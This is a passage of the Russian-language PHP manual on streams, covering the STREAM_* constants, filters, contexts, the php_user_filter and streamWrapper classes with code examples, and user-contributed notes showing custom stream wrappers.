STREAM_CAST_FOR_SELECT => 3
STREAM_CLIENT_ASYNC_CONNECT => 2
STREAM_CLIENT_CONNECT => 4
STREAM_CLIENT_PERSISTENT => 1
STREAM_CRYPTO_METHOD_ANY_CLIENT => 127
STREAM_CRYPTO_METHOD_ANY_SERVER => 126
STREAM_CRYPTO_METHOD_SSLv23_CLIENT => 57
STREAM_CRYPTO_METHOD_SSLv23_SERVER => 120
STREAM_CRYPTO_METHOD_SSLv2_CLIENT => 3
STREAM_CRYPTO_METHOD_SSLv2_SERVER => 2
STREAM_CRYPTO_METHOD_SSLv3_CLIENT => 5
STREAM_CRYPTO_METHOD_SSLv3_SERVER => 4
STREAM_CRYPTO_METHOD_TLS_CLIENT => 121
STREAM_CRYPTO_METHOD_TLS_SERVER => 120
STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT => 9
STREAM_CRYPTO_METHOD_TLSv1_0_SERVER => 8
STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT => 17
STREAM_CRYPTO_METHOD_TLSv1_1_SERVER => 16
STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT => 33
STREAM_CRYPTO_METHOD_TLSv1_2_SERVER => 32
STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT => 65
STREAM_CRYPTO_METHOD_TLSv1_3_SERVER => 64
STREAM_CRYPTO_PROTO_SSLv3 => 4
STREAM_CRYPTO_PROTO_TLSv1_0 => 8
STREAM_CRYPTO_PROTO_TLSv1_1 => 16
STREAM_CRYPTO_PROTO_TLSv1_2 => 32
STREAM_CRYPTO_PROTO_TLSv1_3 => 64
STREAM_FILTER_ALL => 3
STREAM_FILTER_READ => 1
STREAM_FILTER_WRITE => 2
STREAM_IGNORE_URL => 2
STREAM_IPPROTO_ICMP => 1
STREAM_IPPROTO_IP => 0
STREAM_IPPROTO_RAW => 255
STREAM_IPPROTO_TCP => 6
STREAM_IPPROTO_UDP => 17
STREAM_IS_URL => 1
STREAM_META_ACCESS => 6
STREAM_META_GROUP => 5
STREAM_META_GROUP_NAME => 4
STREAM_META_OWNER => 3
STREAM_META_OWNER_NAME => 2
STREAM_META_TOUCH => 1
STREAM_MKDIR_RECURSIVE => 1
STREAM_MUST_SEEK => 16
STREAM_NOTIFY_AUTH_REQUIRED => 3
STREAM_NOTIFY_AUTH_RESULT => 10
STREAM_NOTIFY_COMPLETED => 8
STREAM_NOTIFY_CONNECT => 2
STREAM_NOTIFY_FAILURE => 9
STREAM_NOTIFY_FILE_SIZE_IS => 5
STREAM_NOTIFY_MIME_TYPE_IS => 4
STREAM_NOTIFY_PROGRESS => 7
STREAM_NOTIFY_REDIRECTED => 6
STREAM_NOTIFY_RESOLVE => 1
STREAM_NOTIFY_SEVERITY_ERR => 2
STREAM_NOTIFY_SEVERITY_INFO => 0
STREAM_NOTIFY_SEVERITY_WARN => 1
STREAM_OOB => 1
STREAM_OPTION_BLOCKING => 1
STREAM_OPTION_READ_BUFFER => 2
STREAM_OPTION_READ_TIMEOUT => 4
STREAM_OPTION_WRITE_BUFFER => 3
STREAM_PEEK => 2
STREAM_PF_INET => 2
STREAM_PF_INET6 => 23
STREAM_PF_UNIX => 1
STREAM_REPORT_ERRORS => 8
STREAM_SERVER_BIND => 4
STREAM_SERVER_LISTEN => 8
STREAM_SHUT_RD => 0
STREAM_SHUT_RDWR => 2
STREAM_SHUT_WR => 1
STREAM_SOCK_DGRAM => 2
STREAM_SOCK_RAW => 3
STREAM_SOCK_RDM => 4
STREAM_SOCK_SEQPACKET => 5
STREAM_SOCK_STREAM => 1
STREAM_URL_STAT_LINK => 1
STREAM_URL_STAT_QUIET => 2
STREAM_USE_PATH => 1


Потоковые фильтры

Фильтр (filter) - рабочий код, который может осуществлять операции с данными, читаемыми из потока или записываемыми в него. На каждый поток можно надстроить несколько фильтров. Пользовательские фильтры можно регистрировать в PHP-скрипте функцией stream_filter_register(). Чтобы посмотреть список зарегистрированных на данный момент фильтров, воспользуйтесь функцией stream_get_filters().

User Contributed Notes

There are no user contributed notes for this page.


Контексты потоков

Контекст - это набор параметров и зависящих от контекста опций, который изменяет или расширяет поведение потока. Контексты создаются при помощи функции stream_context_create() и могут быть переданы большинству функций файловой системы, связанных с созданием потоков (например, fopen(), file(), file_get_contents(), и т. д...).

Опции могут быть определены при вызове функции stream_context_create(), или позже, используя функцию stream_context_set_option(). Список возможных опций в данном контексте может быть найден в главе Контекстные опции и параметры.

Параметры могут быть определены для контекстов, используя функцию stream_context_set_params().

User Contributed Notes

alvaro at demogracia dot com 13-Jul-2015 12:19
Two important terms:

- An *option* is a protocol-specific setting, e.g. "method" (get, post, put...) if you are using HTTP or "callback function to be called when inserting a document" in MongoDB.

- A *parameter* is a settings that's common to all protocols. As of 2015 only one parameter got implemented ("notification").

While these words might look vague they are used coherently throughout the stream feature, documentation included.


Ошибки потока

Как и любая другая функция, работающая с файлами и сокетами, потоковая операция может завершиться неудачей по причинам, независящим от правильности разработки скрипта (ошибки: невозможно подключиться к удалённому хосту, не найден файл и т.п.). Также, вызов работающих с потоками функций, может аварийно завершится из-за того, что ожидаемый поток не зарегистрирован в системе. Чтобы предупредить подобные ошибки, ознакомьтесь со списком потоков, которые поддерживает ваша сборка PHP. Список можно получить с помощью функции stream_get_wrappers(). Как и для большинства встроенных функций PHP, в исключительных ситуациях генерируется сообщение E_WARNING с описанием характера ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Пример класса, зарегистрированного в качестве обёртки потока

Пример #1 Использование file_get_contents() для получения данных из различных источников

<?php
/* Чтение локального файла из /home/bar */
$localfile = file_get_contents("/home/bar/foo.txt");

/* То же самое с явным заданием схемы FILE */
$localfile = file_get_contents("file:///home/bar/foo.txt");

/* Чтение удалённого файла по адресу from www.example.com, используя HTTP */
$httpfile = file_get_contents("http://www.example.com/foo.txt");

/* Чтение удалённого файла по адресу www.example.com, используя HTTPS */
$httpsfile = file_get_contents("https://www.example.com/foo.txt");

/* Чтение удалённого файла по адресу ftp.example.com, используя FTP */
$ftpfile = file_get_contents("ftp://user:pass@ftp.example.com/foo.txt");

/* Чтение удалённого файла по адресу ftp.example.com, используя FTPS */
$ftpsfile = file_get_contents("ftps://user:pass@ftp.example.com/foo.txt");
?>

Пример #2 Осуществление POST-запроса к https-серверу

<?php
/* Посылаем POST запрос на адрес https://secure.example.com/form_action.php
* Включаем элементы формы "foo" и "bar" с подходящими данными
*/

$sock = fsockopen("ssl://secure.example.com", 443, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");

$data = "foo=" . urlencode("Значение Foo") . "&bar=" . urlencode("Значение Bar");

fwrite($sock, "POST /form_action.php HTTP/1.0\r\n");
fwrite($sock, "Host: secure.example.com\r\n");
fwrite($sock, "Content-type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "Content-length: " . strlen($data) . "\r\n");
fwrite($sock, "Accept: */*\r\n");
fwrite($sock, "\r\n");
fwrite($sock, $data);

$headers = "";
while ($str = trim(fgets($sock, 4096)))
$headers .= "$str\n";

echo "\n";

$body = "";
while (!feof($sock))
$body .= fgets($sock, 4096);

fclose($sock);
?>

Пример #3 Запись данных в сжатый файл

<?php
/* Создаём сжатый файл с различными данными
* Файл можно прочитать с помощью потока compress.zlib или
* просто разархивировать из командной строки 'gzip -d foo-bar.txt.gz'
*/
$fp = fopen("compress.zlib://foo-bar.txt.gz", "wb");
if (!$fp) die("Невозможно создать файл.");

fwrite($fp, "Тестовые данные.\n");

fclose($fp);
?>

User Contributed Notes

There are no user contributed notes for this page.


Пример класса, зарегистрированного в качестве обёртки потока

Пример ниже реализует обработчик протокола var://, который позволяет читать/писать в именованную глобальную переменную, используя стандартные потоковые функции, работающие с файловой системой, такие как fread(). Протокол var:// при передаче URL "var://foo" будет читать/писать из/в $GLOBALS["foo"].

Пример #1 Поток для чтения/записи глобальных переменных

<?php

class VariableStream {
var $position;
var $varname;

function stream_open($path, $mode, $options, &$opened_path)
{
$url = parse_url($path);
$this->varname = $url["host"];
$this->position = 0;

return true;
}

function stream_read($count)
{
$ret = substr($GLOBALS[$this->varname], $this->position, $count);
$this->position += strlen($ret);
return $ret;
}

function stream_write($data)
{
$left = substr($GLOBALS[$this->varname], 0, $this->position);
$right = substr($GLOBALS[$this->varname], $this->position + strlen($data));
$GLOBALS[$this->varname] = $left . $data . $right;
$this->position += strlen($data);
return strlen($data);
}

function stream_tell()
{
return $this->position;
}

function stream_eof()
{
return $this->position >= strlen($GLOBALS[$this->varname]);
}

function stream_seek($offset, $whence)
{
switch ($whence) {
case SEEK_SET:
if ($offset < strlen($GLOBALS[$this->varname]) && $offset >= 0) {
$this->position = $offset;
return true;
} else {
return false;
}
break;

case SEEK_CUR:
if ($offset >= 0) {
$this->position += $offset;
return true;
} else {
return false;
}
break;

case SEEK_END:
if (strlen($GLOBALS[$this->varname]) + $offset >= 0) {
$this->position = strlen($GLOBALS[$this->varname]) + $offset;
return true;
} else {
return false;
}
break;

default:
return false;
}
}

function stream_metadata($path, $option, $var)
{
if($option == STREAM_META_TOUCH) {
$url = parse_url($path);
$varname = $url["host"];
if(!isset($GLOBALS[$varname])) {
$GLOBALS[$varname] = '';
}
return true;
}
return false;
}
}

stream_wrapper_register("var", "VariableStream")
or die("Не удалось зарегистрировать обёртку");

$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
echo fgets($fp);
}
fclose($fp);
var_dump($myvar);

?>

Результат выполнения данного примера:

line1
line2
line3
string(18) "line1
line2
line3
"

User Contributed Notes

pfe dot skh at gmail dot com 08-Aug-2010 09:47
Example of stream used with databases :

Requirement :
A MySQL database with a table named data structured as follow :
CREATE TABLE IF NOT EXISTS `data` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `data` varchar(255) NOT NULL,
  `when_inserted` datetime NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;

Now with the stream implementation :

<?php

class DBStream {
    private $_pdo;
    private $_ps;
    private $_rowId = 0;

    function stream_open($path, $mode, $options, &$opath)
    {
        $url = parse_url($path);
        $url['path'] = substr($url['path'], 1);
        try{
            $this->_pdo = new PDO("mysql:host={$url['host']};dbname={$url['path']}", $url['user'], isset($url['pass'])? $url['pass'] : '', array());
        } catch(PDOException $e){ return false; }
        switch ($mode){
            case 'w' :
                $this->_ps = $this->_pdo->prepare('INSERT INTO data VALUES(null, ?, NOW())');
                break;
            case 'r' :
                $this->_ps = $this->_pdo->prepare('SELECT id, data FROM data WHERE id > ? LIMIT 1');
                break;
            default  : return false;
        }
        return true;
    }

    function stream_read()
    {
         $this->_ps->execute(array($this->_rowId));
         if($this->_ps->rowCount() == 0) return false;
         $this->_ps->bindcolumn(1, $this->_rowId);
         $this->_ps->bindcolumn(2, $ret);
         $this->_ps->fetch();
         return $ret;
    }

    function stream_write($data)
    {
        $this->_ps->execute(array($data));
        return strlen($data);
    }

    function stream_tell()
    {
        return $this->_rowId;
    }

    function stream_eof()
    {
        $this->_ps->execute(array($this->_rowId));
        return (bool) $this->_ps->rowCount();
    }

    function stream_seek($offset, $step)
    {
        //No need to be implemented
    }
}

stream_register_wrapper('db', 'DBStream');

$fr = fopen('db://testuser@localhost/testdb', 'r');
$fw = fopen('db://testuser:testpassword@localhost/testdb', 'w');
//The two forms above are accepted : for the former, the default password "" will be used

$alg = hash_algos();
$al = $alg[array_rand($alg)];
$data = hash($al, rand(rand(0, 9), rand(10, 999))); // Some random data to be written
fwrite($fw, $data); // Writing the data to the wrapper
while($a = fread($fr, 256)){ //A loop for reading from the wrapper
    echo $a . '<br />';
}
?>

Hope it helps, cheers ;)


Класс php_user_filter

(PHP 5, PHP 7, PHP 8)

Введение

Потомки этого класса передаются в функцию stream_filter_register(). Обратите внимание, что метод __construct не вызывается; вместо этого для инициализации следует использовать php_user_filter::onCreate().

Обзор классов

class php_user_filter {
/* Свойства */
public string $filtername = "";
public mixed $params = "";
public ?resource $stream = null;
/* Методы */
public filter(
resource $in,
resource $out,
int &$consumed,
bool $closing
): int
public onClose(): void
public onCreate(): bool
}

Свойства

filtername

Имя фильтра, зарегистрированного функцией stream_filter_append().

params

stream

Содержание

  • php_user_filter::filter — Вызывается, как только применяется фильтр
  • php_user_filter::onClose — Вызывается при закрытии фильтра
  • php_user_filter::onCreate — Вызывается при создании объекта фильтра

User Contributed Notes

There are no user contributed notes for this page.


Вызывается, как только применяется фильтр

  • « php_user_filter
  • php_user_filter::onClose »
  • PHP Manual
  • php_user_filter
  • Вызывается, как только применяется фильтр

php_user_filter::filter

(PHP 5, PHP 7, PHP 8)

php_user_filter::filter — Вызывается, как только применяется фильтр

Описание

public php_user_filter::filter(
resource $in,
resource $out,
int &$consumed,
bool $closing
): int

Этот метод вызывается всякий раз, когда данные читаются из присоединённого потока или записываются в него (такими функциями, как fread() или fwrite()).

Список параметров

in

in - ресурс, указывающий на bucket brigade, которая содержит один или несколько объектов bucket содержащих фильтруемые данные.

out

out - ресурс, указывающий на другой объект bucket brigade, в который будут помещаться модифицированные бакеты.

consumed

consumed, который должен всегда передаваться по ссылке, должен увеличиваться на размер данных, которые фильтр читает и изменяет. В большинстве случаев это значит, что Вы сами будете увеличивать значение consumed на $bucket->datalen для каждого $bucket.

closing

Если поток закрывается (следовательно, это последний фильтр в цепочке), аргумент closing примет значение true.

Возвращаемые значения

Метод filter() должен возвращать одно из трёх значений.

Возвращаемое значение | Описание
PSFS_PASS_ON | Фильтр отработал успешно, данные доступны через аргумент out bucket brigade.
PSFS_FEED_ME | Фильтр отработал успешно, однако доступных для вывода данных нет. Требуются ещё данные из потока или предыдущего фильтра.
PSFS_ERR_FATAL (по умолчанию) | Фильтр вызвал необрабатываемую ошибку и не может продолжить выполнение.

User Contributed Notes

There are no user contributed notes for this page.


Вызывается при закрытии фильтра

  • « php_user_filter::filter
  • php_user_filter::onCreate »
  • PHP Manual
  • php_user_filter
  • Вызывается при закрытии фильтра

php_user_filter::onClose

(PHP 5, PHP 7, PHP 8)

php_user_filter::onClose — Вызывается при закрытии фильтра

Описание

public php_user_filter::onClose(): void

Этот метод вызывается, когда фильтр завершает работу (обычно вместе с закрытием потока), и выполняется после вызова метода flush. Если какие-либо ресурсы были выделены во время выполнения метода onCreate(), то это время, когда их пора уничтожать.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращаемое значение игнорируется.

User Contributed Notes

There are no user contributed notes for this page.


Вызывается при создании объекта фильтра

  • « php_user_filter::onClose
  • streamWrapper »
  • PHP Manual
  • php_user_filter
  • Вызывается при создании объекта фильтра

php_user_filter::onCreate

(PHP 5, PHP 7, PHP 8)

php_user_filter::onCreate — Вызывается при создании объекта фильтра

Описание

public php_user_filter::onCreate(): bool

Этот метод вызывается при создании фильтра во время создания экземпляра класса. В этом методе можно выделять необходимые ресурсы и инициализировать объекты (например, различные буферы).

Когда фильтр сначала создаётся и вызывается метод yourfilter->onCreate(), будет доступен ряд следующих свойств, которые описаны в таблице.

Свойство | Содержание
FilterClass->filtername | Строка, содержащая имя фильтра, присвоенное ему при создании. Фильтры можно регистрировать под разными именами или спецсимволами. Это свойство можно использовать для определения, какое имя было использовано.
FilterClass->params | Содержимое аргумента params передаётся в функцию stream_filter_append() или stream_filter_prepend().
FilterClass->stream | Ресурс потока, который будет фильтроваться. Свойство доступно, только если метод filter() вызывается, когда параметр closing равен false.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ваша реализация метода должна возвращать false при неудачном завершении работы или true при успешном.

User Contributed Notes

There are no user contributed notes for this page.


Класс streamWrapper

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

Введение

Позволяет реализовывать собственные обработчики протоколов и потоков для дальнейшего использования со всеми функциями по работе с файловой системой (такими как fopen(), fread() и т.п.).

Замечание:

Это НЕ реальный класс, а лишь прототип, предоставленный в качестве наглядного пособия.

Замечание:

Реализация методов, отличная от описанной здесь, может привести к неопределённому поведению.

Объект класса инициализируется в тот момент, когда потоковая функция пытается получить доступ к протоколу, с которым этот класс ассоциирован.

Обзор классов

class streamWrapper {
/* Свойства */
public resource $context;
/* Методы */
public __construct()
public dir_closedir(): bool
public dir_opendir(string $path, int $options): bool
public dir_readdir(): string
public dir_rewinddir(): bool
public mkdir(string $path, int $mode, int $options): bool
public rename(string $path_from, string $path_to): bool
public rmdir(string $path, int $options): bool
public stream_cast(int $cast_as): resource
public stream_close(): void
public stream_eof(): bool
public stream_flush(): bool
public stream_lock(int $operation): bool
public stream_metadata(string $path, int $option, mixed $value): bool
public stream_open(
string $path,
string $mode,
int $options,
?string &$opened_path
): bool
public stream_read(int $count): string|false
public stream_seek(int $offset, int $whence = SEEK_SET): bool
public stream_set_option(int $option, int $arg1, int $arg2): bool
public stream_stat(): array|false
public stream_tell(): int
public stream_truncate(int $new_size): bool
public stream_write(string $data): int
public unlink(string $path): bool
public url_stat(string $path, int $flags): array|false
public __destruct()
}

Свойства

resource context

Текущий контекст или null, если в вызывающую функцию не было передано никакого контекста.

Используйте функцию stream_context_get_options() для анализа и разбора контекста.

Замечание:

Это свойство должно быть общедоступным (иметь модификатор public), чтобы PHP мог ассоциировать его с актуальным контекстом.

Смотрите также

  • Пример класса, зарегистрированного в качестве обёртки потока
  • stream_wrapper_register()
  • stream_wrapper_unregister()
  • stream_wrapper_restore()

Содержание

  • streamWrapper::__construct — Создаёт новый объект обёртки потока
  • streamWrapper::__destruct — Уничтожает существующую обёртку потока
  • streamWrapper::dir_closedir — Закрыть дескриптор директории
  • streamWrapper::dir_opendir — Открыть дескриптор директории
  • streamWrapper::dir_readdir — Чтение записи из дескриптора директории
  • streamWrapper::dir_rewinddir — Дескриптор директории перемещения на её в начало
  • streamWrapper::mkdir — Создание директории
  • streamWrapper::rename — Переименовывает файл или директорию
  • streamWrapper::rmdir — Удаляет директорию
  • streamWrapper::stream_cast — Получает ресурс уровнем ниже
  • streamWrapper::stream_close — Закрывает ресурс
  • streamWrapper::stream_eof — Проверяет достижение конца файла по файловому указателю
  • streamWrapper::stream_flush — Сбрасывает вывод
  • streamWrapper::stream_lock — Консультативная блокировка файла
  • streamWrapper::stream_metadata — Изменяет метаданные потока
  • streamWrapper::stream_open — Открывает файл или URL
  • streamWrapper::stream_read — Читает из потока
  • streamWrapper::stream_seek — Перемещение на заданную позицию в потоке
  • streamWrapper::stream_set_option — Изменение настроек потока
  • streamWrapper::stream_stat — Получение информации о файловом ресурсе
  • streamWrapper::stream_tell — Определение текущей позиции потока
  • streamWrapper::stream_truncate — Усечение потока
  • streamWrapper::stream_write — Запись в поток
  • streamWrapper::unlink — Удаление файла
  • streamWrapper::url_stat — Получение информации о файле

User Contributed Notes

info at ensostudio dot ru 29-Jul-2020 11:09
THIS METHODS NOT REQUIRED, you can implement only part of their: directories, files, etc.
For example, "glob://" support minimal syntax, glob() more powerful, you can replace/extend native wrapper: check options in table https://www.php.net/manual/ru/wrappers.glob , you need create wrapper only with 'dir_...dir' methods. For more info, see https://www.php.net/manual/en/class.globiterator.php#125220
Anonymous 21-Sep-2011 12:02
Here is a very simple stream wrapper which calls your callback function for reads:

<?php

class CallbackUrl
{
    const WRAPPER_NAME = 'callback';

    public $context;
    private $_cb;
    private $_eof = false;

    private static $_isRegistered = false;

    public static function getContext($cb)
    {
        if (!self::$_isRegistered) {
            stream_wrapper_register(self::WRAPPER_NAME, get_class());
            self::$_isRegistered = true;
        }
        if (!is_callable($cb)) return false;
        return stream_context_create(array(self::WRAPPER_NAME => array('cb' => $cb)));
    }

    public function stream_open($path, $mode, $options, &$opened_path)
    {
        if (!preg_match('/^r[bt]?$/', $mode) || !$this->context) return false;
        $opt = stream_context_get_options($this->context);
        if (!is_array($opt[self::WRAPPER_NAME]) ||
            !isset($opt[self::WRAPPER_NAME]['cb']) ||
            !is_callable($opt[self::WRAPPER_NAME]['cb'])) return false;
        $this->_cb = $opt[self::WRAPPER_NAME]['cb'];
        return true;
    }

    public function stream_read($count)
    {
        if ($this->_eof || !$count) return '';
        if (($s = call_user_func($this->_cb, $count)) == '') $this->_eof = true;
        return $s;
    }

    public function stream_eof()
    {
        return $this->_eof;
    }
}

class Test {
    private $_s;
    public function __construct($s)
    {
        $this->_s = $s;
    }
    public function read($count) {
        return fread($this->_s, $count);
    }
}

$t = new Test(fopen('/etc/services', 'r'));
$fd = fopen('callback://', 'r', false, CallbackUrl::getContext(array($t, 'read')));
while(($buf = fread($fd, 128)) != '') {
    print $buf;
}
?>
isaac dot z dot no dot foster at spam dot gmail dot please dot com 22-Oct-2010 09:12
It's worth noting that the interface defined by yannick at gmail should not always be implemented by a stream wrapper class, as several of the methods should not be implemented if the class has no use for them (as per the manual).

Specifically, mkdir, rename, rmdir, and unlink are methods that "should not be defined" if the wrapper has no use for them. The consequence is that the appropriate error message will not be returned.

If the interface is implemented, you won't have the flexibility to not implement those methods.

Not trying to be academic, but it was useful for me.
yannick dot battail at gmail dot com 17-Jul-2009 02:38
a php interface for wrapper

<?php
interface WrapperInterface
{
    /**
     * resource context
     *
     * @var resource
     */
    //public $context;

    /**
     * constructor
     *
     */
    public function __construct();

    /**
     *
     *
     * @return bool
     */
    public function dir_closedir();

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $options
     * @return bool
     */
    public function dir_opendir($path , $options);

    /**
     * Enter description here...
     *
     * @return string
     */
    public function dir_readdir();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function dir_rewinddir();

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $mode
     * @param int $options
     * @return bool
     */
    public function mkdir($path , $mode , $options);

    /**
     * Enter description here...
     *
     * @param string $path_from
     * @param string $path_to
     * @return bool
     */
    public function rename($path_from , $path_to);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $options
     * @return bool
     */
    public function rmdir($path , $options);

    /**
     * Enter description here...
     *
     * @param int $cast_as
     * @return resource
     */
    public function stream_cast($cast_as);

    /**
     * Enter description here...
     *
     */
    public function stream_close();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function stream_eof();

    /**
     * Enter description here...
     *
     * @return bool
     */
    public function stream_flush();

    /**
     * Enter description here...
     *
     * @param mode $operation
     * @return bool
     */
    public function stream_lock($operation);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param string $mode
     * @param int $options
     * @param string &$opened_path
     * @return bool
     */
    public function stream_open($path , $mode , $options , &$opened_path);

    /**
     * Enter description here...
     *
     * @param int $count
     * @return string
     */
    public function stream_read($count);

    /**
     * Enter description here...
     *
     * @param int $offset
     * @param int $whence = SEEK_SET
     * @return bool
     */
    public function stream_seek($offset , $whence = SEEK_SET);

    /**
     * Enter description here...
     *
     * @param int $option
     * @param int $arg1
     * @param int $arg2
     * @return bool
     */
    public function stream_set_option($option , $arg1 , $arg2);

    /**
     * Enter description here...
     *
     * @return array
     */
    public function stream_stat();

    /**
     * Enter description here...
     *
     * @return int
     */
    public function stream_tell();

    /**
     * Enter description here...
     *
     * @param string $data
     * @return int
     */
    public function stream_write($data);

    /**
     * Enter description here...
     *
     * @param string $path
     * @return bool
     */
    public function unlink($path);

    /**
     * Enter description here...
     *
     * @param string $path
     * @param int $flags
     * @return array
     */
    public function url_stat($path , $flags);
}

?>


Создаёт новый объект обёртки потока

  • « streamWrapper
  • streamWrapper::__destruct »
  • PHP Manual
  • streamWrapper
  • Создаёт новый объект обёртки потока

streamWrapper::__construct

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::__construct — Создаёт новый объект обёртки потока

Описание

public streamWrapper::__construct()

Вызывается при открытии обёртки потока непосредственно перед вызовом метода streamWrapper::stream_open().

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает существующую обёртку потока

  • « streamWrapper::__construct
  • streamWrapper::dir_closedir »
  • PHP Manual
  • streamWrapper
  • Уничтожает существующую обёртку потока

streamWrapper::__destruct

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::__destruct — Уничтожает существующую обёртку потока

Описание

public streamWrapper::__destruct()

Вызывается во время закрытия обёртки потока непосредственно перед вызовом метода streamWrapper::stream_flush().

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Закрыть дескриптор директории

  • « streamWrapper::__destruct
  • streamWrapper::dir_opendir »
  • PHP Manual
  • streamWrapper
  • Закрыть дескриптор директории

streamWrapper::dir_closedir

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::dir_closedir — Закрыть дескриптор директории

Описание

public streamWrapper::dir_closedir(): bool

Этот метод вызывается в процессе выполнения closedir().

Все ресурсы, заблокированные или выделенные во время открытия и использования потока директории, необходимо освободить.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • closedir() - Закрывает дескриптор каталога
  • streamWrapper::dir_opendir() - Открыть дескриптор директории

User Contributed Notes

There are no user contributed notes for this page.


Открыть дескриптор директории

  • « streamWrapper::dir_closedir
  • streamWrapper::dir_readdir »
  • PHP Manual
  • streamWrapper
  • Открыть дескриптор директории

streamWrapper::dir_opendir

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::dir_opendir — Открыть дескриптор директории

Описание

public streamWrapper::dir_opendir(string $path, int $options): bool

Этот метод вызывается в процессе выполнения opendir().

Список параметров

path

Задаёт URL, который был передан в opendir().

Замечание:

URL можно разделить на части с помощью parse_url().

options

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • opendir() - Открывает дескриптор каталога
  • streamWrapper::dir_closedir() - Закрыть дескриптор директории
  • parse_url() - Разбирает URL и возвращает его компоненты

User Contributed Notes

There are no user contributed notes for this page.


Чтение записи из дескриптора директории

  • « streamWrapper::dir_opendir
  • streamWrapper::dir_rewinddir »
  • PHP Manual
  • streamWrapper
  • Чтение записи из дескриптора директории

streamWrapper::dir_readdir

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::dir_readdir — Чтение записи из дескриптора директории

Описание

public streamWrapper::dir_readdir(): string

Этот метод вызывается в процессе выполнения readdir().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Должна возвращать строку (string), представляющую имя следующего файла, либо false, если следующего файла нет.

Замечание:

Возвращаемое значение будет приведено к типу string.

Ошибки

Вызывает ошибку уровня E_WARNING, если вызов к этому методу не удался (например, не реализован).

Примеры

Пример #1 Получение списка файлов из tar-архивов

<?php
class streamWrapper {
protected $fp;

public function dir_opendir($path, $options) {
$url = parse_url($path);

$path = $url["host"] . $url["path"];

if (!is_readable($path)) {
trigger_error("Не могу прочитать $path ", E_USER_NOTICE);
return false;
}
if (!is_file($path)) {
trigger_error("$path не является файлом", E_USER_NOTICE);
return false;
}

$this->fp = fopen($path, "rb");
return true;
}

public function dir_readdir() {
// Извлечение заголовка
$header = fread($this->fp, 512);
$data = unpack("a100filename/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1filetype/a100link/a100linkedfile", $header);

// Убираем лишние пробелы в имени файла и его размере
$filename = trim($data["filename"]);

// Нет файла? Значит мы дошли до конца архива
if (!$filename) {
return false;
}

$octal_bytes = trim($data["size"]);
// Размер файла определён в восьмеричной системе
$bytes = octdec($octal_bytes);

// tar округляет размеры файлов, чтобы они были
// кратными 512 байтам (с заполнением нулями)
$rest = $bytes % 512;
if ($rest > 0) {
$bytes += 512 - $rest;
}

// Перемещаемся внутри файла
fseek($this->fp, $bytes, SEEK_CUR);

return $filename;
}

public function dir_closedir() {
return fclose($this->fp);
}

public function dir_rewinddir() {
return fseek($this->fp, 0, SEEK_SET);
}
}

stream_wrapper_register("tar", "streamWrapper");
$handle = opendir("tar://example.tar");
while (false !== ($file = readdir($handle))) {
var_dump($file);
}

echo "Перемотка в начало..\n";
rewind($handle);
var_dump(readdir($handle));

closedir($handle);
?>

Результатом выполнения данного примера будет что-то подобное:

string(13) "construct.xml"
string(16) "dir-closedir.xml"
string(15) "dir-opendir.xml"
string(15) "dir-readdir.xml"
string(17) "dir-rewinddir.xml"
string(9) "mkdir.xml"
string(10) "rename.xml"
string(9) "rmdir.xml"
string(15) "stream-cast.xml"
string(16) "stream-close.xml"
string(14) "stream-eof.xml"
string(16) "stream-flush.xml"
string(15) "stream-lock.xml"
string(15) "stream-open.xml"
string(15) "stream-read.xml"
string(15) "stream-seek.xml"
string(21) "stream-set-option.xml"
string(15) "stream-stat.xml"
string(15) "stream-tell.xml"
string(16) "stream-write.xml"
string(10) "unlink.xml"
string(12) "url-stat.xml"
Rewinding..
string(13) "construct.xml"

Смотрите также

  • readdir() - Получает элемент каталога по его дескриптору

User Contributed Notes

There are no user contributed notes for this page.


Дескриптор директории перемещения на её в начало

  • « streamWrapper::dir_readdir
  • streamWrapper::mkdir »
  • PHP Manual
  • streamWrapper
  • Дескриптор директории перемещения на её в начало

streamWrapper::dir_rewinddir

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::dir_rewinddir — Дескриптор директории перемещения на её в начало

Описание

public streamWrapper::dir_rewinddir(): bool

Этот метод вызывается в процессе выполнения rewinddir().

Должен сбрасывать текущий вывод, генерируемый методом streamWrapper::dir_readdir(). Т.е. при следующем вызове метод streamWrapper::dir_readdir() должен возвращать первую запись в директории, определённой методом streamWrapper::dir_opendir().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • rewinddir() - Сбросить дескриптор каталога
